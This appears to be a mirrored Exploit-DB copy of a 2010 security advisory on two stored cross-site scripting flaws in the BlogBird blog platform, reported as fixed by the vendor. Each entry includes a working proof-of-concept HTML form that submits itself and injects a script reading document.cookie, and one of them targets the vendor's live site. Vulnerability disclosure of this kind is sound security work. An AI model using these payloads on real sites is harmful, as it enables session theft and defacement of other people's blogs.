BlogBird Platform – Multiple Cross-Site Scripting Vulnerabilities

  • 作者: High-Tech Bridge SA
    日期: 2010-10-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15332/
  • Vulnerability ID: HTB22647
    Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird_1.html
    Product: BlogBird
    Vendor: BlogBird ( http://www.blogbird.nl/ ) 
    Vulnerable Version: Current actual version on http://www.blogbird.nl/
    Vendor Notification: 13 October 2010 
    Vulnerability Type: Stored XSS (Cross Site Scripting)
    Status: Fixed by Vendor
    Risk level: Medium 
    Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 
    
    Vulnerability Details:
    User can execute arbitrary JavaScript code within the vulnerable application.
    
    The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    An attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://site/elements/save/2648" method="post" name="main">
    <input type="hidden" name="files_id" value="123">
    <input type="hidden" name="type" value="posts">
    <input type="hidden" name="column" value="col1">
    <input type="hidden" name="title" value="post title">
    <input type="hidden" name="element" value="post">
    <input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="extended" value="">
    <input type="hidden" name="publish" value="1">
    <input type="hidden" name="page" value="home">
    <input type="hidden" name="author" value="author">
    <input type="hidden" name="tags" value="">
    </form>
    <script>
    document.main.submit();
    </script>
    
    Solution: Upgrade to the most recent version
    
    -----------------------------------------------------------------------------------------------------------------
    
    Vulnerability ID: HTB22646
    Reference: http://site/advisory/xss_vulnerability_in_blogbird.html
    Product: BlogBird
    Vendor: BlogBird ( http://www.blogbird.nl/ )
    Vulnerable Version: Current actual version on http://www.blogbird.nl/
    Vendor Notification: 13 October 2010
    Vulnerability Type: Stored XSS (Cross Site Scripting)
    Status: Fixed by Vendor
    Risk level: Medium
    Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
    
    Vulnerability Details:
    User can execute arbitrary JavaScript code within the vulnerable application.
    
    The vulnerability exists due to failure in the blog setting save script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    An attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://www.blogbird.nl/settings/save" method="post" name="main">
    <input type="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="description" value="">
    <input type="hidden" name="keywords" value="">
    <input type="hidden" name="language" value="dutch">
    <input type="hidden" name="date_format" value="">
    <input type="hidden" name="per_page" value="0">
    </form>
    <script>
    document.main.submit();
    </script>
    
    Solution: Upgrade to the most recent version